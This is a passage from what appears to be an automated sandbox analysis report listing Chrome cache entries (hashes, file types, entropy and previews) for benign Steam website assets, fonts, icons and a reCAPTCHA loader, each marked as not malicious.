Preview:	@font-face{font-family:motiva sans;font-style:normal;font-weight:400;src:local('Motiva Sans'),url(https://fonts.cdnfonts.com/s/61286/MotivaSansRegular.woff.woff) format('woff')}@font-face{font-family:motiva sans;font-style:normal;font-weight:500;src:local('Motiva Sans'),url(https://fonts.cdnfonts.com/s/61286/MotivaSansMedium.woff.woff) format('woff')}@font-face{font-family:motiva sans;font-style:normal;font-weight:700;src:local('Motiva Sans'),url(https://fonts.cdnfonts.com/s/61286/MotivaSansBold.woff.woff) format('woff')}@font-face{font-family:motiva sans;font-style:normal;font-weight:800;src:local('Motiva Sans'),url(https://fonts.cdnfonts.com/s/61286/MotivaSansExtraBold.woff) format('woff')}

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2843
Entropy (8bit):	6.967423493204583
Encrypted:	false
SSDEEP:	48:o2/61MYLNnwknA9WpitbEsg9wlO/cHJ3z3VHi3bEs/Hc5mmDhhIZwldFWbd/9maH:/SyYRwknmWpiVbgx/mHqb/Hc5thdlubX
MD5:	41E851F8E42B6BF3414278871E93E8A2
SHA1:	A3811C7E1157F77950EC1F0558293BC90E432E82
SHA-256:	399F74C4E69EAC8B59B149293F9A573955FEF0A62B242CFA70346070013E0966
SHA-512:	F3C3549F1390B52791196E6F19584CBD4C4DB2B51FEF78C9C607C944079FED69B75E8F88594C3D647F2DDC29F282BF41BE455BE328AB27C091B4A37C41B00965
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...\.........:.;)....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp:CreateDate="2019-08-09T13:37:29-07:00" xmp:ModifyDate="2020-06-17T17:39:04-07:00" xmp:MetadataDate="2020-06-17T17:39:04-07:00" xmpMM:InstanceID="xmp.iid:a6176093-d0df-1f4a-86f8-26e70acca1dd" xmpMM:DocumentID="adobe:docid:photoshop:5cf069c4-c89c-fa4c-8c00-dff9f3add583" xmpMM:OriginalDocumentID="x

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1526), with no line terminators
Category:	downloaded
Size (bytes):	1526
Entropy (8bit):	5.75032363285845
Encrypted:	false
SSDEEP:	24:2jkm94oHPccXbjZy+KVCe2TLph9gFB5vtADjkrDQndcl/1t4glvllLtw1aWDAQop:iEcpxKo7LmvtUjPKtX7S1aiRLrwUnG
MD5:	B15969827D0F6431C1A98EDF467AD051
SHA1:	FC5B77E9B5631B47E551BFF87174ED5C0417C25F
SHA-256:	5620E62E0F92C56CA9827CEF87364B9A715287BEEAF1D309672657BFF847CC94
SHA-512:	68DC21165E532F73728923054647F13499D44BA31E475A15156C540F80FB246C3457747A4C05AC0F368BE2616F906E7B08E4C71FDBB38208D2C3C9C779A61DFF
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/enterprise.js?render=explicit
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var E='enterprise',a=w[N]=w[N]\|\|{},gr=a[E]=a[E]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/enterprise/';(cfg['enterprise']=cfg['enterprise']\|\|[]).push(true);(cfg['render']=cfg['render']\|\|[]).push('explicit');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true; po.charset='utf-8';var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='A/kargTFyk8MR5ueravczef/wIlTkbVk1qXQesp39nV+xNECPdLBVeYffxrM8TmZT6RArWGQVCJ0LRivD7glcAUAAACQeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().then(f

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 22 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansRegular4.015;Plau;Motiva
Category:	downloaded
Size (bytes):	122684
Entropy (8bit):	6.0666961682037535
Encrypted:	false
SSDEEP:	3072:lpsQ7l3T64Z1lKcDqttEPBWVNwZ+e222pKKSxfj9:Yg3T64Z19DqtkWbu/222kZfh
MD5:	57613E143FF3DAE10F282E84A066DE28
SHA1:	88756CC8C6DB645B5F20AA17B14FEEFB4411C25F
SHA-256:	19B8DB163BCC51732457EFA40911B4A422F297FF3CD566467D87EAB93CEF0C14
SHA-512:	94F045E71B9276944609CA69FC4B8704E4447F9B0FC2B80789CC012235895C50EF9ECB781A3ED901A0C989BED26CAA37D4D4A9BAFFCCE2CB19606DBB16A17176
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015
Preview:	........... DSIG.......4....GDEF...4...,...@GPOS:>}....l..uzGSUB.d....v.....OS/2u6.........`cmap.d..........cvt F......\|....fpgm.6!....D....gasp.......t....glyf._m....\|....head...H...l...6hhea...G.......$hmtx..l.........locaCH..........maxp.......X... name..l...x...opost............prep.......\...................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (355), with CRLF line terminators
Category:	downloaded
Size (bytes):	135833
Entropy (8bit):	5.69218613768848
Encrypted:	false
SSDEEP:	3072:JmUG0YLJR5J2hn+FmzYVQwxhG5YLpQuce8YL3vjzxmPCjwjlbKlZNUupM:JmUG0YLJR5J2hmmzYVQwxhG5YLpQYL3C
MD5:	12F4F1A7680F00846F5EFFF0A06F4917
SHA1:	EB16DCA2EB1D74FE99F29B2EE03404E0FD75B9A9
SHA-256:	B4DB2CF524525B37820A32570C9AAC5C23484CBF024B209537DA4625D3C2BEA1
SHA-512:	26B081D5989A7492AF5722DBC29130D73D4E296EB8B8E7C55FEAFFF5EE2832A5A0F337F3DC259759F1F796B6233D57BBED2E4D89E414AD9505A4977827BE1D75
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/javascript/help.js?v=EvTxp2gPAIRv
Preview:	..HelpWizard = {...m_sCurrentPage: null,...m_steamid: '',...m_bUseHistoryAPI: false,...m_bInSearch: false,.....LoadPageFromHash: function( fresh_page_load, url, link_click, search_text ) {....var wizard_url = url;....if ( !wizard_url )....{.....if ( window.location.hash.length < 2 )......wizard_url = 'Home';.....else......wizard_url = window.location.hash.replace( /^#!?/,'');....}........if ( wizard_url.toLowerCase().startsWith('login') )....{.....window.location = "https://help.steampowered.com/ru/login" + wizard_url.slice( 5 );.....return;....}......var page_url = wizard_url;....var iQueryString = wizard_url.indexOf( '?' );....if ( iQueryString >= 0 )....{.....// strip search term out of wizard_url.....var rgQueryParams = iQueryString >= 0 ? $J.deparam( wizard_url.substr( iQueryString + 1 ) ) : {};.......if ( rgQueryParams.text ).....{......page_url = wizard_url.substr( 0, iQueryString );......search_text = rgQueryParams.text;......delete rgQueryParams.text;......var strQuery = $J.pa

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/images/responsive/header_menu_hamburger.png
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2917
Entropy (8bit):	5.228296617631515
Encrypted:	false
SSDEEP:	48:PFzAlKxWKDzeqy5UZEwvUD675JZh9wuh6Fyy2Yl0rIFS3E3Ez9+IQQdwxjTTSeaQ:+zBN5Gvg6LZfwvkyXk+4E3EzbaxrSdMp
MD5:	405088F8D3FED7506E915118063BE2C2
SHA1:	1E8B4FBD31497DC0C6656791C2F90828E318140C
SHA-256:	BFCFD556CD300A21962BC18721C79D670BFFD653D058AC8FD1ADFD50D2D00C82
SHA-512:	FADF951A97ADDF12662F3D0272E39BDB60544C40FFD93E33C643769D7175A7265CA693F2B55C4BE8C0E7B872098912696D92CABC5A5B4319AB0201C553B477A0
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/modal.js?v=.Gl8zxCENQAoO
Preview:	var selStates = new Array();..var modalDismissHandler = false;....function showGotSteamModal( contentEl, steamURL, appName )..{...$('gotSteam_SteamURL').href = steamURL;...$('gotSteam_AppName').update( appName );...showModal( contentEl );..}....function showModal( contentEl, bExplicitDismisalOnly )..{...// hide selects, which have an infinitely high z-index in IE...sels = document.getElementsByTagName('select');...selStates.length = 0;...for(x=0;x<sels.length;x++)...{....selStates.push((sels[x].style.visibility == undefined ? 'visible' : sels[x].style.visibility));....sels[x].style.visibility = 'hidden';...}......bgEl = document.getElementById('modalBG');...if(!bgEl)...{....bgEl = document.createElement('div');....bgEl.id = 'modalBG';...}...new Effect.Appear( bgEl, { from: 0.0, to: 0.8, duration: 0.4 } );......cEl = $(contentEl);...cEl.show();......modalSizing( cEl );.....cEl.sizingListener = modalSizing.bind( null, cEl );.....// skip registering the resize/scroll events on iphone as w

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1161
Entropy (8bit):	6.483902966293242
Encrypted:	false
SSDEEP:	24:2C1hkyaWwjx82lY2T3RVNxhpyJ3Vlt8vmG8ll6f7iX:HZNn2lPzoJ3PtQmBY0
MD5:	E406E5A22E4F3CFA580D3BB57420150E
SHA1:	5B381E535BB0CE6003A461F3124FA1238DFBCEDB
SHA-256:	760589F903C5E9BD169B38F941F9A3DC88A23897E9CC5B622D3D91F5C204B9E4
SHA-512:	E33CB7BD10104A1E8C2D3F2B3885D65EF3769F7250445C8341D6D2AD2367749CCDC48DAABE4EA39CB80EE0362AF9D01E48370DB858BA01F956A1A6B8C04217C1
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/ico/ico_facebook.png
Preview:	.PNG........IHDR................a....tEXtSoftware.Adobe ImageReadyq.e<...'iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 25.1 (Windows)" xmpMM:InstanceID="xmp.iid:399EA8C592D411EE91E8F6773DB0009B" xmpMM:DocumentID="xmp.did:399EA8C692D411EE91E8F6773DB0009B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:399EA8C392D411EE91E8F6773DB0009B" stRef:documentID="xmp.did:399EA8C492D411EE91E8F6773DB0009B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.d......IDATx.b..U.d``.......@...4.....0......PWU.p..Q....1\=...2I.\Fg.&3de.....BX..4 ...L...!#....... )!..7m..

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1213
Entropy (8bit):	7.7842557765994975
Encrypted:	false
SSDEEP:	24:w/6cYW7BnecJjySaePLV9jHFMVHqAQw0hPtaElGb4RhMbEoEq5n/xE:w/6a7BESPzrjH+9qAUl04wfE4n/xE
MD5:	648BD4BAA41A25DB3A6B3D9FC219301D
SHA1:	6B86B2D39C39C99DC3C1449CD15486EAFFF24ED3
SHA-256:	AD4D8A190B5C132245EAB0FCC05D8E363D11FFE34B09E48568FF2499F5B99793
SHA-512:	C16DE7711D99E71F34011F709CEDC3C27AC808182DC9682905B5C75825450DC7676057A3A7BD018AA293869920F13C98BAC91092A23C35341C8B2288ACBBCEB9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............;0......pHYs.................sRGB.........gAMA......a....RIDATx..WmLSW.~n).....2>Dt.%`G..."j..>.#.1..>..Lf...M..h.f.d.tY....H..1..4.[b;.&.a.)..W....g.^... ..<..s....y.9..s..........2Z......,[>T.R.t..]V...1.)..D. ..J....L.......:.D....Rf....2...e......0...Ic......cj.....I1...t...S7.F.v!..'.....2\|........z.~..]....<...........0m._>.......89"^.....1.`.).O.v...A.aK!L&..`owT........................u..\.......f.t..X......k.......g.[......"..\|.Zl.........../...\|...j...YP7..2......ui.......3.\..J..Q=..-l.\.i....M.:.............S...0..+-..Z5....5.=.1.A>....a..~m3.w=3S...6..).X$./.ab........g.op..."c.eYr...N...z..O..Ri..\|<..{uC(....T]t.........._T....E,.p..L..(......0:v............h.%gp....s3.ipM?.W.x.eH.\..-.........06.....D...(=....ym.......u."2<...&X...V...U.S........'.i..G..Z.whq....?.\...W..v..8T7..v..#$...>..v<$b$o.E.BE.....h....w.CI.....:..*l....~..M..........$Z............,.Q@X..T..@.._`cB..J.U..j....v.-...........9..

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 406 x 719, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	503402
Entropy (8bit):	7.996257220777793
Encrypted:	true
SSDEEP:	12288:vyy70uBu8olN1OkoyLscRq3XNDLNLJ10A:vydHOkhhqXdN7
MD5:	EAA918479400786006BC5A37E77075A2
SHA1:	CB892A61D8643B235AC589D9E0FD7A4A97CE56A9
SHA-256:	69A47EA33E7FA0226B9F23B5837A9075F36A0FFC2E7ADC2F5B30F564E1DAD09C
SHA-512:	52BCD20485323C7451FCFBACF51A3E5366031198177CE53815EE031A451219755421DA894EDEB8E26A83EC84D7E52217B26158DDF5B0449BFFE8F286B2238942
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............A..4....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:4CE48FD624C911E48BC599859989B32F" xmpMM:DocumentID="xmp.did:4CE48FD724C911E48BC599859989B32F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4CE48FD424C911E48BC599859989B32F" stRef:documentID="xmp.did:4CE48FD524C911E48BC599859989B32F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>>}M.....IDATx..}...e..=3...g.n6..nz'.!.@H...\|...b...'"*....S.E..J....i...m....:3..3s.l.........kr.3g......WX..;.D..@

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 76 x 75, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2686
Entropy (8bit):	7.8983946442596595
Encrypted:	false
SSDEEP:	48:gJ/6YRACqqA4fv93zCq/GY0oxlo1SoCvTY5nl4eXmB42cJ5lpsR53J7/3kf:gSYRJA4fv9hBFxcSTLYw42csDN/3kf
MD5:	8A1D77FA0B95FD6C8E21166BDA4229F4
SHA1:	68CD21CC81CC7B812ED41FD7DF98B8C73AAD73BD
SHA-256:	ABF7B6E3C36726CB1DAD94DC2AB7FFAA66A06D76BD59C047EFB1D2867F35409C
SHA-512:	C6AA743B7F72F54661EC39F1876A54D7A3E9C1C6F6AB3359FEEEB581D14734FF7A74A386F894BDB82D04F8D17D89EB3E3A370A6138EE43DB351DD5368E38A6A3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...L...K......a.....pHYs.................sRGB.........gAMA......a.....IDATx..\.r...>..l.i.M;cx.V.....w.v.Yf%..$=..'...t%j.L/.....vLW."e:cz.%c+3.XJ....9....... ....H^..<.._".L.VK%....H...('@......%.C..H.C.h[(....n......cB.rS....%kDBUJ..a...-....n?h..0R..>.u<.$.G.F.[..I....~.F....D]0...!.3......F!.w...M.....7Q}.)...%q..v..3K `..D...Ri-.#14a..M..c.F..2...U..C.V...cI~VH....&...i.-5aW..X'....#X..JsiHKL.R...ur$..5.;...BR.-.aL.y.x.AV.M....'.h).o$Y..........Q.....[....G.....k3z.]..TT.........g.R./..7..V.}.\|}.!.H.;...3(..$Kb..6w..}....eC.0o..Kd.5....'...v.0...p..P........?P.S....+........B..H.?y...%..T...Q.......N !.^\|.\|...t...Z...w/~../.....v.).UzY...d....n.......G&KQ..>{U6..M.@..3....X6...%V.......(..2}.1....7.....O8.A7[..a....r.b..C..H.T.......:m...#.@.~.nv.?.....-~.$....K$.v..-...C..D.E.0...'...ES.,.e...,"......ZTU..k..ug.....1a:D.G.z.....j@.@\?x..C.sow.........~..t.....d..N......O...s..3z.C...L..\|.s.sohd..[E.a...iO......q\|1....a

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3681), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	28986
Entropy (8bit):	5.326374894559477
Encrypted:	false
SSDEEP:	768:LEFFEmHVCBdexIBCZvASvEknsftD+ojhjBtPF5PffVQjOIojIAerikye+T8CjBt6:LEFFEmHVCBdexIBCZvASvEknsftD+ojk
MD5:	E981A4D9D8241C559D6CA3D03B5345C6
SHA1:	7722D69924C7E47EBBB293A0447BF03621F83240
SHA-256:	55E4E34A4A9CCA59D3677360B84B5220DF776852EF63C54BFE0182C04D967CFE
SHA-512:	526566CAB6B44FDBB8791C6EE34BD869B6190D4F9D73F9744168438C0C1D3B1CBBD3FE711E9285AE4E8146923125E92A7AD9E361731B17092CF3B4414449C69E
Malicious:	false
Reputation:	low
URL:	https://store.steampowered.com/login/?14__global-header
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Sign In</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=cNFo_SNYcn7k&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/shared/css/buttons.css?v=CrrkDubPqLcq&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/css/v6/store.css?v=BoPNbbsndIQb&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/css/v6/c

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 5 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	downloaded
Size (bytes):	38554
Entropy (8bit):	7.281917544628079
Encrypted:	false
SSDEEP:	768:PcaDYrV5KBau+3erpKn9jpe7z9mWAFjQcR4D9DQ0LKfjLh:PcsiV5Y+erc9T/H4f0jLh
MD5:	231913FDEBABCBE65F4B0052372BDE56
SHA1:	553909D080E4F210B64DC73292F3A111D5A0781F
SHA-256:	9F890A9DEBCDFCCC339149A7943BE9AFF9E4C9203C2FA37D5671A5B2C88503AD
SHA-512:	7B11B709968C5A52B9B60189FB534F5DF56912417243820E9D1C00C97F4BD6D0835F2CDF574D0C36ECB32DBBF5FC397324DF54F7FDF9E1B062B5DBDA2C02E919
Malicious:	false
Reputation:	low
URL:	https://steamcommunity.com/favicon.ico
Preview:	............ .h...V......... ......... .... .....F...00.... ..%............ ..R...D..(....... ..... ..................................u...t...w.H.z...\|..}...}...\|..z...w.I.t...u...........p...f...e...j...k..k...l...m...n...n...n...m..j...e...f...q...Z...Y...]..._...w6...T..{;..`..._..._..._..._..._...]...Y...Z..~K...P...O...{I............P..R...S...S...S...S...S...R..~K..t@.I.Q!.{T.....................M..zF..{H..{H..{H..{H..zG..yE.I..................................zJ$.m9..o;..o<..p<..p<..o;.........................................eM.p@$.c0..d0..d1..d1..............xP<.g9#..hW..........................~o.],..Z(..Z)...j].a7$.P ..O...P ..O.....v..........................dV.O...Q"..F...H...I...I...I...H...Q&...........................H...I...C...C...C...C...C...C...@....rg.......................C...C...?..I>...>...>...>...>...=...Y:*.....................x^Q.<...?..I=...:...:...:...:...:...:...9...mUG.............ti.=...:...=...7...7...6...6...6...6...6...6...4...@%..R:

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (22676), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	22842
Entropy (8bit):	4.8737880932940385
Encrypted:	false
SSDEEP:	384:+Yic/Sf4+JAslpN+MhZxEOIqisxp9RO6orsH1XQSmRyeyZ/84t1SSzNQvIkoVMxc:qx4+blpNN7VMxsgE3kSd5/VQ47hD
MD5:	757750902210FF3C0D12DEE4DC5165C6
SHA1:	A3599CA4BD5DA9FB9C83E26813EF62327C541566
SHA-256:	72FF7D67DDC7BD23885CBBA07F3889BE27B50CB597BA41FD546343416676BA67
SHA-512:	EF5CB66E561D5F208A872C65B6732BDAA082D421F9815C8A5A439D5E749890E032C2309C1D7EC66D93D1F897941BB5E2C5F860FD9CF8E13ADFBF1AB60AECA27B
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[5231],{72022:e=>{e.exports=JSON.parse('{"language":"english","label_play_free_until_custom":"Play for free until %1$s.","promo_ends_custom":"Offer ends %1$s.","label_play_free_generic":"Play for Free!","label_free_weekend":"Free Weekend","label_free_week":"Free Week","label_just_updated":"Just Updated","label_for_a_limited_time_only":"FOR A LIMITED TIME ONLY","msg_prepurchase_and_play_beta_now":"Pre-Purchase and Play the Beta Now!","msg_play_beta_now":"PLAY THE BETA NOW!","msg_prepurchase_and_get_beta_access":"Pre-Purchase and get Beta Access","msg_steam_workshop_now_available":"Steam Workshop Now Available","msg_now_with_steam_workshop":"Now with Steam Workshop","msg_now_with_steamworks":"Now with Steamworks","msg_now_available_on_steamos":"Now Availab

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (381), with CRLF line terminators
Category:	dropped
Size (bytes):	89087
Entropy (8bit):	5.292489473516622
Encrypted:	false
SSDEEP:	1536:dpYuxcehc6Ac/Erc3h5N/a8axkNM2EVshJQIxrMKvPQfsPsdCkCatn0noz4:bYjg9MDsooz1
MD5:	9198B9AE5423B2B0A5B443CF8931263E
SHA1:	5DD6C35CBDE91945E2F730D80FE76FD029860C6E
SHA-256:	19C095CC08CAC827AF261E43869A55140EFF99917321489BCCF1A1C9E44BFA06
SHA-512:	85831025A485C982A42A222015FBEB7C912516D50208027D8C3B784C609E1206EAD068285D09CD32FDAAE760DC0D6E124AA80E496B197133A4F803B0AE357353
Malicious:	false
Reputation:	low
Preview:	..//..// Page-able tabs..//..var tabStart = { };..var tabMax = { };..var tabTransition = { };..function PageTab( tab, delta, max, params )..{...if ( tabTransition[tab] )....return;.....if ( !tabStart[tab] )....tabStart[tab] = 0;...if ( !tabMax[tab] )....tabMax[tab] = 0;.....if ( tabStart[tab] + delta >= max )....return;.....tabStart[tab] += delta;...tabTransition[tab] = true;...if ( tabStart[tab] > tabMax[tab] )...{....if ( !params ).....params = {};....params.tab = tab;....params.start = tabStart[tab];....params.count = delta;....new Ajax.Updater(......'tab_' + tab + '_items',......'https://store.steampowered.com/search/tab',......{ parameters: params, method: 'get', insertion: 'bottom', onComplete: TabCompletionClosure( tab, delta, max ) } );....tabMax[tab] = tabStart[tab];...}...else...{....RollTab( tab, delta );....TabUpdateCounts( tab, delta, max );...}....}....function TabCompletionClosure( tab, delta, max )..{...var tab_closure = tab;...var delta_closure = delta;...var max_closu

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 617 x 617, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	156189
Entropy (8bit):	7.99475625198294
Encrypted:	true
SSDEEP:	3072:6P8wz0Ce7k5r0rl8bT/Ve+0GuwmplG6to6YisdGyMPGJGQRcwx:Ejznr5r0p83/VewmBtHfRkx
MD5:	9389E1E5441EBADDDC281F07CACE6EAD
SHA1:	B5C977584B910B46CC9E6843F2BD3B80DBBBA532
SHA-256:	A49736FDB66045A836A7699F03D728F9D663CA7472D4551B6D60827FD4147E70
SHA-512:	69252082731F799C6497956625C2F88E26DFDEC7FC9F1A13621FF37E12810F45FB37F90E93A7A8AE019641831A71212FA9D7D5697D74B622A948D8F88F05287A
Malicious:	false
Reputation:	low
